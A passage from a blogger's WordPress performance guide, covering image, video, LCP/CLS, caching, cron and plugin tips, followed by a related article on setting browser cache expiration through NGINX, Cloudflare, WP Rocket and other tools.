  • Preload critical images and exclude them from lazy load – above the fold content should load immediately which is a big factor of LCP. Instead of delaying images with lazy load, you want the browser to download them immediately by using preload. The easiest way to do this (by far) is “preload critical images” in FlyingPress or Perfmatters. Instead of manually excluding/preloading above the fold images on every single page/post (because they’re usually different), you will set the number of images usually shown above the fold. In my case, it’s 3. This will preload your top 3 images while excluding them from lazy load. Currently, FlyingPress is the only cache plugin I know that supports fetchpriority which is recommended by Google to set things like your LCP image to “high priority.” Props to Gijo.
Above the fold images
Exclude above the fold images from lazy load and preload them
  • LCP image – your most important image to optimize for lower LCP (shown in PSI).
  • Background images – page builders serve background images in their CSS and won’t be lazy loaded, leading to ‘defer offscreen images’ errors. Some cache plugins have a lazy-bg helper class, Perfmatters has a CSS background images setting, and WP Rocket makes you move them to inline HTML. Check the documentation in your cache/image optimization plugin on how to lazy load them. You can also use Optimal or add a helper class yourself.
  • Image CDNs – I use Cloudflare for image optimization but Bunny Optimizer and QUIC are good too. They usually do a better job than plugins (and it’s 1 less plugin on your website).
  • Resize images for mobile – make sure your image optimization plugin (or image CDN) serves smaller images to mobile which should also improve your LCP on mobile. This is the “image resizing” feature in Cloudflare, or you could use ShortPixel Adaptive Images.
  • Properly size images – resize large images to be smaller. My blog is 765px width so I crop/resize blog images to that size (the Zoom Chrome Extension is handy for getting the perfect dimensions when taking screenshots). I always recommend creating an “image dimensions cheat sheet” so you know the size of your blog, featured, sidebar images, etc.
  • WebP – faster than JPEG/PNG and most image optimization plugins or CDNs can do this.
  • Compression – Lighthouse test images at 85% so that’s usually a good compression level.
  • CSS sprites – combines multiple small/decorative images into 1 image so it only creates 1 request. My old homepage used a CSS sprite and it was very fast. You can do it for sections like “featured on” where you show a bunch of logos. You would use a CSS sprite generator.
  • Specify dimensions – most cache plugins can “add missing dimensions” otherwise you would need to add a width/height to the image’s HTML or CSS. This prevents layout shifts.
  • Downgrade quality on slow connections – services like Cloudflare Mirage + Optimole serve low quality images on slow connections until a faster connection can be accessed.
  • Hotlink protection – stops people from using your images when they’re hosted on your server and saves bandwidth. Common with sites using high quality images or if people copy your content. Can be enabled in your host or by using Cloudflare’s hotlink protection.
  • Low quality images placeholders (LQIP) – if you’re using QUIC.cloud on LiteSpeed, these can prevent layout shifts but you need to make sure you’re doing it right or it will look bad.

13. Videos

Unless videos are optimized, they will probably be the slowest thing on a page.

While most cache plugins lazy load videos and replace iframes with a preview image, FlyingPress and WP YouTube Lyte are some of the only plugins that optimize placeholders.

  • Lazy load videos – done in cache plugins, Perfmatters, or try WP YouTube Lyte.
  • Replace YouTube iframes with preview images – the iframe (which is the heaviest element of the video) is only loaded once your visitors actually click the play button.
  • Self-host YouTube placeholders – FlyingPress and WP YouTube Lyte can self-host placeholders to prevent i.ytimg.com requests shown in your “third-party code” report.
  • Preconnect – if you’re not able to make the optimizations above and you still have third-party domains loading from YouTube, you can preconnect domains from youtube.com, i.ytimg.com, and Roboto which is currently being used as the font in the YouTube player.
https://youtube.com/watch?v=FssULNGSZIA%3Fautoplay%3D1

14. Comments

Third-party comment plugins, Gravatars, or just lots of comments can slow down WordPress.

  • Use native comments (not plugins).
  • Cache Gravatars if using LiteSpeed Cache.
  • Delay third-party comments plugins and Gravatars.
  • Use a local avatar plugin to prevent Gravatar requests.
  • If you must use Disqus, use the conditional load plugin.
  • Break comments in your WordPress discussion settings.
  • Try using a “load more comments” button especially on mobile.
  • Lazy load comments/footer (can be done in FlyingPress or LSC).
  • wpDiscuz has options for lazy loading and initiating AJAX loading after page.
Lazy render html elements flyingpress
Some optimization plugins can lazy load any HTML element (including comments)

15. LCP

Largest contentful paint is the core web vital people struggle with most.

View your “longest main-threads tasks” report in PageSpeed Insights and optimize those files. LCP includes 4 sub-parts and Google’s YouTube video is a nice resource for optimizing each one.

Largest contentful paint breakdown google
LCP breakdown
LCP Sub-PartFactorsLCP %
TTFBPrimarily hosting and CDNs + full page caching~40%
Resource load delayExclude above the fold content from optimizations, resource hints<10%
Resource load timeReduce image/CSS/JS sizes, critical CSS, CDN, cache expiration~40%
Element render delayRender-blocking CSS/JS, JS file size, font-display optional<10%

Most LCP recommendations are scattered in this guide, so I’ll just go over them briefly.

  • Exclude above the fold images from lazy load – you should never lazy load, delay, or defer anything that loads above the fold because this content should load immediately, which is why you should also use preload hints to help browsers download them faster.
  • Prioritize above the fold images – preload above the fold images (or use fetchpriority). PSI shows your largest contentful paint image which is the most important to optimize.
  • Reduce CSS, JS, font sizes – a big part of reducing load time is reducing their file sizes.
  • Reduce TTFB – 40% of LCP can usually be improved with a better hosting + CDN setup.
  • Eliminate render-blocking CSS/JS – render-blocking resources add delay (see video).
  • Use font-display: optional – if fonts aren’t loaded properly, they can also add delay.
  • Lazy render HTML elements – allows browsers to focus on the above the fold content.
  • Preload, preconnect, prefetch – hints browsers to download specific resources faster.
  • Increase cache expiration – also mentioned by Google (Cloudflare browser cache TTL).
  • Choose the right cache plugin/settings – some have better optimizations than others.
  • Enable Signed Exchanges (SXGs) – this is found in Cloudflare (Speed → Optimization).
  • Use Cloudflare Workers – Google Engineer used Workers to improve LCP by about 80%.
  • Move plugin content, ads, animations below the fold – that way, they can be delayed.

16. CLS

Layout shifts happen when things jump around while the page is loading.

You can use Google’s layout shift debugger to see these in a GIF. PSI also has an “avoid large layout shifts” item showing you which sections on your website contribute the most to CLS. Even with these recommendations, it’s hard to know why the section is causing a layout shift.

  • Change font-display to swap or optional – do this if you see “ensure text remains visible during webfont load.” As shown in section #11, font-display: optional is the best method.
  • Problems with loading CSS asynchronously – this is a setting in cache plugins that can add layout shifts caused by FOUC (flash of unstyled content). Ideally use the “remove unused CSS” method instead. If this breaks your site and you default back to loading CSS asynchronously, make sure you exclude problematic files causing FOUC, ensure critical CSS is working, and always regenerate critical CSS after updating stylesheets/custom CSS.
  • Preload fonts – preloading fonts eliminates layout shifts when they use display: optional.
  • Specify dimensions of images, videos, iframes, ads – the first 3 are easy (make sure a width and height are specified in images). Ads and other dynamic content should have reserved space by placing it in a div code. The width/height should be the ad’s largest size.
  • Use CSS transform in animations – not a fan of animations but here’s documentation.
  • Use separate mobile cache (when it makes sense) – if your mobile site is different than desktop and you’re not using a separate mobile cache, it can cause layout shifts. However, you’ll need to check your cache plugin’s documentation on when to use (and not use) this.
  • Change cookie notice plugin – search your plugin’s support thread. It’s been reported some cookie plugins cause layout shifts. I recommend Gijo’s solution or this Cookie plugin.
Cumulative layout shift

17. Preload, Prefetch, Preconnect

These help browsers download high priority resources faster.

They prioritize above the fold content (preload + fetchpriority). Preload is also used in Cloudflare’s Early Hints and for downloading internal pages in the background so they load faster when visitors click them (link preloading + Flying Pages). Prefetch + preconnect help establish early connections to third-party domains if resources aren’t already being delayed.

Preload – commonly used for above the fold images (this can also be a WebP image) but can also be used for CSS/JS (i.e. the block library), videos, audio, Cloudflare workers, and other files.

<link rel="preload" href="/image.webp?x14197" as="image">
<link rel="preload" href="/font.woff2" as="font" crossorigin>

Fetchpriority – similar to preload only assigns a priority (low, high, auto). For example, if you have a large LCP image, you would assign that image’s priority to “high.” But if you have an image carousel that’s loading above the fold, you could assign the images with a low priority. FlyingPress is the only plugin I know currently supporting fetchpriority shown in the changelog.

<img src="lcp-image.webp" fetchpriority="high">

Link preloading – there’s 2 main types: preloading links in the viewport so internal links in the immediate content load faster when clicked (supported by Flying Pages and FlyingPress). And “link preloading” where users hover over any internal link (or touch it on mobile), and the page will download in the background so by the time they actually click it, it appears to load instantly (found in cache plugins like WP Rocket). While neither improves scores, both improve perceived load time. Just be careful… preloading too many pages in the background will increase CPU usage especially if you have something like a WooCommerce store with internal links in images. If visitors are hovering over product images, this will cause lots of pages to download. Not good!

Flying pages by wp speed matters

DNS Prefetch – this helps browsers anticipate third-party domains by performing a DNS lookup, but usually not needed since third-party domains should be hosted locally or delayed.

<link rel="dns-prefetch" href="https://connect.facebook.net">
<link rel="dns-prefetch" href="https://www.googletagservices.com">

Preconnect – establishes early connections to important third-party domains. Common with CDN URLs and third-party fonts like fonts.gstatic.com, use.fontawesome.com, and use.typekit. Most cache plugins add preconnect automatically when you add a CDN URL or when enabling “Google Font Optimization” (or a similar setting), but you’ll want to check their documentation.

<link rel="preconnect" href="/assets/vendor/gstatic" crossorigin>
<link rel="preconnect" href="https://cdn.yourdomain.com" crossorigin>
Preload font perfmatters
You can use Perfmatters or Pre* Party if your optimization plugin doesn’t support a specific resource hint

18. Database

There’s usually 3 problems with using your cache plugin to clean your database:

  • It can’t take database backups.
  • It can’t remove database tables left behind by old plugins.
  • It deletes all post revisions, but you may want to keep a few.

That’s why I recommend WP Optimize for database cleanups. Go through your database tables and look for tables that are not installed or inactive. You can delete these if you don’t plan on using the plugin (or theme) again since they will usually store info in the database for future use.

Wp optimize unused database tables

Certain plugin modules/features can also add lots of overhead especially if they collect data. Rank Math’s Google Analytics module adds lots of overhead, so consider disabling this Rank Math module and getting your analytics data directly from the Google Analytics website instead.

Rank math database bloat

For ongoing database cleanup, WP-Optimize removes everything most cache plugins do, but it lets you keep a certain amount of post revisions so you have backups (I recommend 5-10). You can also connect UpdraftPlus which takes a database backup before scheduled optimizations.

Wp optimize schedule database cleanup settings

19. Background Tasks

Background tasks can bog down your server and increase CPU usage.

These are common with cache plugins (preloading + automatic cache clearing), plugins that collect stats or create autoloads, and even WordPress core (Heartbeat, autosaves, pingbacks). Many of these can be disabled, limited, or scheduled during non-peak hours using a cron job.

  • Control Preloading – the preloading in cache plugins is infamous for increasing CPU usage (WP Rocket’s preloading, LSC crawler, SG Optimizer’s preheat cache, etc). The first step is changing settings to only preload important sitemap URLs (i.e. page-sitemap.com + post-sitemap.com) instead of the full sitemap. Next, you can increase the preload interval.
Wp rocket sitemap preloading
Only preload important sitemap URLs (not the full sitemap)
  • Automatic cache clearing – there are specific actions that trigger your entire cache to be cleared (and when the cache lifespan expires). Instead of constantly clearing cache with these actions, disable automatic cache clearing and use a cron job to clear it at a specific time (once at night). It’s best to use a cron job for both cache clearing + cache preloading.
  • Disable WP-Cron – using an external cron to schedule tasks like the 2 items above helps reduce CPU usage. The first step is to add the code below your wp-config.php file. Next, setup a real cron job in your host, Cloudflare, or using a third-party service like EasyCron. Some hosts have specific instructions for adding a cron job, so check their documentation.
define('DISABLE_WP_CRON', true);

Now add a real cron job.

Cron job minutes
wget -q -O - https://yourwebsite.com/wp-cron.php?doing_wp_cron >/dev/null 2>&1
External cron job
Scheduling tasks using cron jobs for 5-10 minutes can reduce CPU usage
  • Remove unused CSS – decrease WP Rocket’s batch size and increase the cron interval.
  • Link preloading – some cache plugins can “preload links” which sounds like a good idea because when users hover over a link, that page downloads in the background to make it load faster by the time users actually click it. But if your website has lots of links (such as a WooCommerce store with links in the product images), you’ll want to leave this setting off.
  • Plugins – think of Query Monitor, Wordfence’s live traffic report, and backup/statistic plugins (they all run background tasks). You might be able schedule these, disable specific features in plugins, or delete the plugin completely. Plugins/themes can also leave behind autoloaded data when you delete them which can be cleaned up in the wp_options table.
  • Autosaves – when you’re editing a post, WordPress autosaves a draft every minute. You can use a simple line of code (or Perfmatters) to increase this to something like 5 minutes.
define('AUTOSAVE_INTERVAL', 300); // seconds
  • Heartbeat – called every 15s and can usually be disabled in the frontend/backend, then limited in the post editor since you probably want to keep features there (like autosaves).
  • Pingbacks – disable pingbacks since you don’t want a notification every time you add an internal link. You may want to leave trackbacks on to help notify blogs you linked to them.
  • Post revisions –  stored every time you hit save, publish, or update and accumulate over time. You can limit revisions in some optimization plugins, manually with code, or use WP-Optimize to run scheduled database cleanups while keeping a certain number of revisions.
define( 'WP_POST_REVISIONS', 10 );
  • Plugin data sharing – disable in plugins to save a little resources, sorry plugin developers!
  • Bots – blocking spam bots and using Cloudflare’s crawler hints saves resources from bots.
  • Comment spam – I use Antispam Bee and blacklist these words in the Discussion settings.
  • Hosting features – WP Johnny has nice tips on disabling unused services in your hosting account like the DNS, email, FTP/SFTP, proxies, or other services if you’re not using them.
  • Bloat removal plugins – using plugins like Unbloater + Disable WooCommerce Bloat help.

20. Mobile

Poor mobile scores in PSI is a common issue. Most desktop optimizations transfer over to mobile so start with “general optimizations” first. Otherwise, here are mobile-specific tips.

  • Resize images for mobile – image CDNs and adaptive image plugins do this.
  • Reduce latency – use a faster DNS, faster TLS versions, and Cloudflare’s 0-RTT.
  • Replace sliders/galleries with static images – use responsive editing to do this.
  • Remove unused CSS/JS – Perfmatters can disable unused CSS/JS by device type.
  • Don’t use AMP – lots of challenges and most WordPress users agree not to use it.
  • Fix mobile layout shifts – Google’s layout shift debugger tests mobile layout shifts.
  • Use mobile caching – enable this in your cache plugin or use one that supports this.
  • Know when to use separate mobile cache – check your cache plugin documentation.
  • Downgrade image quality on slow connections – try Cloudflare Mirage or Optimole.
  • Check your responsiveness – even if you use a responsive theme, check this manually.
  • Add a “load more comments” button on mobile – helps if you have lots of comments.
Flyingpress responsive images
Most image CDNs serve smaller images to mobile (but not RocketCDN)
Perfmatters disable plugins on mobile
Disable specific files/plugins from loading on mobile in Perfmatters

21. WooCommerce

WooCommerce sites often have more plugins, scripts, styles, and are more resource-hungry than static sites. You will need to optimize your website even more if you want good results.

  • Hosting – wphostingbenchmarks.com ran tests for multiple WooCommerce hosts, although I think there are much better options than the ones tested (I would personally lean towards something like Rocket.net, GridPane, RunCloud). Obviously very important.
  • Remove WooCommerce admin bloat – Disable WooCommerce Bloat is good for this.
  • Cloudflare Argo + Tiered Cache  – specifically good for speeding up dynamic requests.
  • Redis – also specifically good for WooCommerce (especially Redis Object Cache Pro).
  • Go easy on WooCommerce Extensions – just like other plugins, be minimal with these.
  • Unload WooCommerce plugins – Woo plugins are infamously bad with loading across your entire site. Use your asset unloading plugin to disable them where they’re not used.
  • Product image size – Appearance → Customize → WooCommerce → Product Images.
  • Increase memory limit – WooCommerce sites usually require increasing it even more.
  • Browser cache TTL – Google recommends 1 year but 1 month is good for dynamic sites.
  • Elasticsearch – speeds up searches especially for websites with thousands of products.
  • Delete expired transients – these can build up quickly so delete them more frequently.

22. Security

With the right optimizations (and a firewall), you shouldn’t need a security plugin.

Wordpress security checklist 1

A few other tips:

  • Hide your WordPress version.
  • Use a host that takes security seriously.
  • Add security headers (try the HTTP Headers plugin).
  • Use Cloudflare firewall rules (i.e. only access wp-login from your IP).
  • Disable file editing to prevent hackers from editing theme/plugin files.
  • Follow security-related social media accounts like Cloudflare/Wordfence.
  • Check for known vulnerabilities before updating things (especially plugins).

23. PHP Version

Only 7% of websites use PHP 8.

Come on y’all, you already know higher PHP versions are faster and more secure. Google “update PHP version [your host]” and you’ll find instructions. If updating breaks your site, just revert back to your older version (or remove incompatible plugins that aren’t maintained well).

Wordpress php versions
PHP version used by WordPress sites (source: WordPress stats)

24. Make Sure Optimizations Are Working

You set things up, but are they working? Make sure they are.

  • Caching – cache plugins should have documentation to check if the caching is working.
  • Redis/memcached – LiteSpeed Cache’s connection test and most Redis plugins tell you.
Litespeed cache object cache
Confirm Redis is working (screenshot is in LiteSpeed Cache)
  • CDN Analytics – how many requests are you blocking from bots, hotlink protection, and WAF? What is your cache hit ratio (hopefully around 90%)? CDN analytics are very useful.
  • Dr. Flare – Chrome Extension to view tons of Cloudflare stats like your cache hit ratio, uncached requests, non-Cloudflare requests, how much % was reduced by Polish/Minify.
  • CDN rewrites – are your files actually being served from your CDN? Check your CDN Analytics, Dr. Flare, or view your source code to make sure files are being served from the CDN when using a CDN URL, like this: cdn.mywebsite.com/wp-content/uploads/logo.png. If you’re using BunnyCDN, you may be able to serve more files from BunnyCDN by adding your CDN URL to your cache plugin on top of using BunnyCDN’s plugin. It worked for me.
  • APO – verify Cloudflare’s APO is working by testing your website in uptrends.com then making sure headers exactly match with what Cloudflare shows in the documentation.
Test cloudflare apo
Confirm APO is working by checking headers
  • Asynchronous CSS – if you’re using this, cache plugins should also have documentation.
  • External cron jobs – check the logs in your hosting account to make sure these are firing.
  • Waterfall charts – after each optimization, you should ideally check its impact using a Waterfall chart (better than running another PageSpeed Insights test and testing scores).
  • Clear cache – you may need to clear cache or regenerate critical CSS to see your changes.

25. Speed Plugins

Here’s the full list.

Obviously you don’t need all these especially if you’re using a cache/optimization plugin that already does some of these, Cloudflare image optimizations, or you can code things manually.

PluginCategoryPrice
FlyingPressCachePaid
LiteSpeed CacheCacheFree
PerfmattersMultiple CategoriesPaid
CloudflareCDNPaid
Super Page Cache for CloudflareCDNFree
WP-OptimizeDatabaseFree
FlyingProxyCDNPaid
Flying PagesResource HintsFree
Flying ScriptsDelay JavaScriptFree
Flying AnalyticsAnalyticsFree
OptimoleImageFreemium
ShortPixelImageFreemium
ShortPixel Adaptive ImagesImageFreemium
WP YouTube LyteVideoFree
OMGFFontFree
WP Foft LoaderFontFreemium
Pre* Party Resource HintsResource HintsFree
BunnyCDNCDNPaid
WP CrontrolCron JobFree
UnbloaterBloat RemovalFree
DebloatBloat RemovalFree
Disable WooCommerce BloatBloat RemovalFree
Heartbeat ControlBloat RemovalFree
Disable XML-RPCBloat RemovalFree
Widget DisableBloat RemovalFree
Limit Login AttemptsSecurityFree
WPS Hide LoginSecurityFree
Redis Object CacheCacheFree
Blackhole For Bad BotsBlock BotsFree
Simple Local AvatarsCommentsFree
Preload Featured ImagesLCPFree
Query MonitorDiagnosticFree
WP Server Health StatsDiagnosticFree
WP Hosting BenchmarkDiagnosticFree
WP Hosting Performance CheckDiagnosticFree

26. Get Help

Still need help? I’m not for hire, but here’s what I got:

DIY

  • Search the WP Speed Matters Facebook Group.
  • Plugins like Perfmatters have great documentation.
  • Gijo Varghese and WP Johnny also put on quality articles.
  • My other articles (if you liked this one, I have plenty more).

Hire Help

  • BDKamol – Pronaya mainly works with Gutenberg, WooCommerce, and Genesis. He’s been helping me for over 10 years even when I launched my first website and had no visitors. He points me in the right direction and was a key part in launching my new blog, helping me with things like custom coding, CSS styling, theme/plugin recommendations, etc. Pronaya lives in Bangladesh and his communication (and my trust in him) are 100%.
  • WP Johnny – he’s a busy guy but you can try hiring him and his team. I was lucky enough to have him help me remove my page builder (which I regret using in the first place and should have known better). While the work is great, it can take awhile to get things done.
  • WP Fix It – hired them once to improve issues related to core web vitals. While I was very happy with the work, they closed my tickets without notice saying the project was done, even when I told them I would pay more since truly fixing the issues required more work.
Pronaya wordpress speed optimizer

27. My Setup

This will cost about $500/year.

It assumes you already have a lightweight theme (i.e. GeneratePress/Kadence) and pay yearly for Rocket.net since you get 2 months free. It also assumes you’re using Rocket.net’s lower $25/mo plan (I pay $50/mo for the Business plan). For my site, this is the best setup I’ve found.

My blog costs around $800/year which is a lot cheaper than I was paying (mainly because hosting gets expensive as you scale). Scaling on Rocket.net is reasonable since monthly visits and RAM are both 10x Kinsta’s and there’s no PHP worker limits since only about 10% of traffic hits the origin (due to Ben Gabler’s Cloudflare Enterprise setup who I suggest reaching out to).

LiteSpeed is also solid and can be cheaper since LiteSpeed Cache is free and email hosting is often included. Check out NameHeroChemiCloud, and Scala (they seem to have good specs and TrustPilot reviews). RunCloudGridPane, and JohnnyVPS are probably best for larger sites.

Cloudways is who I was using. I still think they’re better than most hosts but it gets expensive with all the add-ons, they use Apache servers, and Cloudflare Enterprise + Breeze need work.

ServicePriceNotes
Rocket.net$25/moRead my full reviewOMM1 = $1 first month1 year =  2 months free
Cloudflare EnterpriseFree on Rocket.netNo configurationFull page cachingI trust their config
GeneratePress$249 (one-time)Less CSS/JSUses GutenbergI use the “Search” theme
GenerateBlocks$39/yrMore block templates
FlyingPress$3.5/mo (renewal price)Gijo’s pluginGreat for CWVAnd for real usersConfigure the settings
Google Workspace$6/moMost cloud host don’t support email hosting
Perfmatters$24.95/yrAsset unloadingBloat removalOptimizations not found in WP Rocket or SG OptimizerConfigure the settings
Total Yearly Price$477.95/yrPlus one-time cost of GeneratePress

Of course I use other tools/plugins, but that’s my foundation.

I hope you learned something new! Drop me a comment with any questions/suggestions.

Cheers,
Tom

Source :
https://onlinemediamasters.com/slow-wordpress-site/

How To Serve Static Assets With An Efficient Cache Policy In WordPress

If you ran your site through PageSpeed Insights, you may see a recommendation to serve static assets with an efficient cache policy.

Serve static assets with an efficient cache policy

This is flagged when you have a short cache expiration for images, fonts, media, scripts, and stylesheets. Google fails the audit if the cache expiration is under 180 days (259200 minutes). This simply means you need to adjust your cache expiration for those files to 180 days or over.

In most cases, you will login to your hosting account and adjust the static cache expiry (or similar) to 180 days. However, this can be quite a long time that visitors won’t see an updated version of those files. If you change these files frequently, a longer cache lifespan may not be best and you may want to make it shorter (even if it’s flagged). Google warns you about this.

I’ll cover a few other ways to serve static assets with an efficient cache policy in WordPress specifically for Cloudflare, other CDNs, Google Analytics, WP Rocket, and third-party scripts.

  1. NGINX
  2. Cloudflare
  3. Other CDNs
  4. WP Rocket
  5. LiteSpeed Cache
  6. W3 Total Cache
  7. Google Analytics
  8. Google Fonts
  9. Third-Party Scripts
  10. Purge Files And Retest

1. NGINX

Some hosts using NGINX let you adjust the cache expiration:

  • Login to your hosting account.
  • Find the static cache expiry option (or similar).
  • Set the static cache expiry to 259200 minutes (180 days).
Static cache expiry

Alternatively, add this code to your server’s configuration file (borrowed from Kinsta).

location ~* \.(js|css|png|jpg|jpeg|gif|svg|ico)$ {
 expires 180d;
 add_header Cache-Control "public, no-transform";
}

If you’re not using a host that lets you to change this, contact them and request it.

2. Cloudflare

Cloudflare has it’s own browser cache expiration.

Login to Cloudflare and go to Caching → Browser Cache TTL, then set it for “6 months.”

Cloudflare-browser-cache-ttl

3. Other CDNs

Most other CDNs let you change the browser cache expiration.

For example, in BunnyCDN, go to Pullzone → Your Website → Cache → Browser Cache Expiration. In this case, there is no option for 180 days. You can either set it for 1 year or “match server cache expiration.” You’ll need to make sure your server uses the correct cache expiration.

Bunnycdn browser cache expiration

4. WP Rocket

WP Rocket has documentation on how their browser caching works.

This code is automatically added to your .htaccess file when you activate WP Rocket. But you will notice the browser cache expiration for images, fonts, and other files is 4 months (about 2 months short of Google’s 180 day requirement). It means you’ll need to change it to 180 days.

# Expires headers (for better cache control)

ExpiresActive on
    ExpiresDefault                              "access plus 1 month"
    # cache.appcache needs re-requests in FF 3.6 (~Introducing HTML5)
    ExpiresByType text/cache-manifest           "access plus 0 seconds"
    # Your document html
    ExpiresByType text/html                     "access plus 0 seconds"
    # Data
    ExpiresByType text/xml                      "access plus 0 seconds"
    ExpiresByType application/xml               "access plus 0 seconds"
    ExpiresByType application/json              "access plus 0 seconds"
    # Feed
    ExpiresByType application/rss+xml           "access plus 1 hour"
    ExpiresByType application/atom+xml          "access plus 1 hour"
    # Favicon (cannot be renamed)
    ExpiresByType image/x-icon                  "access plus 1 week"
    # Media: images, video, audio
    ExpiresByType image/gif                     "access plus 4 months"
    ExpiresByType image/png                     "access plus 4 months"
    ExpiresByType image/jpeg                    "access plus 4 months"
    ExpiresByType image/webp                    "access plus 4 months"
    ExpiresByType video/ogg                     "access plus 4 months"
    ExpiresByType audio/ogg                     "access plus 4 months"
    ExpiresByType video/mp4                     "access plus 4 months"
    ExpiresByType video/webm                    "access plus 4 months"
    # HTC files  (css3pie)
    ExpiresByType text/x-component              "access plus 1 month"
    # Webfonts
    ExpiresByType font/ttf    "access plus 4 months"
    ExpiresByType font/otf    "access plus 4 months"
    ExpiresByType font/woff   "access plus 4 months"
    ExpiresByType font/woff2  "access plus 4 months"
    ExpiresByType image/svg+xml                 "access plus 1 month"
    ExpiresByType application/vnd.ms-fontobject "access plus 1 month"
    # CSS and JavaScript
    ExpiresByType text/css                      "access plus 1 year"
    ExpiresByType application/javascript        "access plus 1 year"

Edit your .htaccess (you can use Htaccess File Editor if you don’t know how). Change the expiration from 4 months to 180 days. You may only want to do this for file types being flagged.

Wp rocket cache policy

WP Rocket also suggests to check with your host to make sure they don’t block WP Rocket’s rules and that Mod_expires is enabled.

5. LiteSpeed Cache

To serve statics assets with an efficient cache policy using LiteSpeed Cache, go to LiteSpeed Cache Settings > Browser. Enable browser cache and the browser cache TTL should be left as default (31557600 seconds). If you still see errors, check if your host or CDN is overriding this.

Serve static assets with efficient cache policy - litespeed cache

6. W3 Total Cache

If you need to serve static assets with an efficient cache policy in W3 Total Cache, go your Browser Cache settings and change the Expires header lifetime to at least 15552000s (180 days). Make sure the cache expiration in your hosting and CDN settings aren’t overriding this.

Serve static assets with efficient cache policy w3 total cache

7. Google Analytics

Google Analytics can also cause errors when serving static assets with an efficient cache policy.

If Google Analytics is appearing in PageSpeed Insights for this recommendation, CAOS Analytics lets you host analytics locally and adjust the cookie expiration period. WP Rocket’s Google Tracking Addon hosts it locally but doesn’t give you other options for the tracking code.

  • Install the CAOS Analytics plugin.
  • Go to Settings → Optimize Google Analytics → Advanced Settings → Cookie Expiry Period.
  • Set it to 180 days.
Caos analytics cookie expiry period

I recommend checking out other features in the CAOS Analytics plugin. Using a minimal analytics tracking code and serving it from your CDN can be beneficial for WordPress speed.

8. Google Fonts

Just like you hosted Google Analytics locally to control the cache lifespan, you can do the same thing with Google Fonts.

But they need to be hosted locally on your server (not pulling from fonts.gtstatic.com). You can do this by downloading your fonts directly from the Google Fonts website (remember to be minimal with font families and weights), converting them to WOFF2 format using a tool like Transfonter, then adding them to your CSS. Alternatively, you can also try the the OMGF plugin.

Once fonts are hosting locally, follow step #4 to set the cache expiration to 180 days for fonts.

9. Third-Party Scripts

Third-party code isn’t hosted on your server, so you can’t optimize it.

Google Analytics and fonts are an exception since they can be hosted locally, and therefore, you can control the cache expiration. But serving  static assets with an efficient cache policy is not possible for AdSense, YouTube, Google Maps, and other third-party scripts that you might be getting errors for. Although, there may be other ways to optimize them like delaying JavaScript.

Third party usage

10. Purge Files And Retest

Once you’re done changing your cache expiration, remember to purge files and retest your WordPress site. Ideally you’ll have 100% for serve static assets with an efficient cache policy.

Frequently Asked Questions

How do I serve static assets with an efficient cache policy in WordPress?

Change your browser cache expiration to 180 days (or 259200 minutes). This is typically done in your hosting account, cache plugin, or CDN.

How do I serve static assets with an efficient cache policy using WP Rocket?

Edit your. htaccess file and locate the browser cache expiration code added by WP Rocket. Change the expiration from 4 months to 6 months for files flagged in Lighthouse, which are usually images or fonts.

How do I serve static assets with an efficient cache policy using Cloudflare?

Login to Cloudflare and go to Caching > Browser Cache TTL and change it to 6 months.

How do I serve static assets with an efficient cache policy using W3 Total Cache?

In your W3 Total Cache settings, go to Browser Cache and change Expires header lifetime to 180 days (15552000 seconds). Check your server and CDN to make sure they’re not overriding this setting.

See also: My Ultimate WordPress Speed Guide

Cheers,
Tom

Source :
https://onlinemediamasters.com/serve-static-assets-with-an-efficient-cache-policy-wordpress/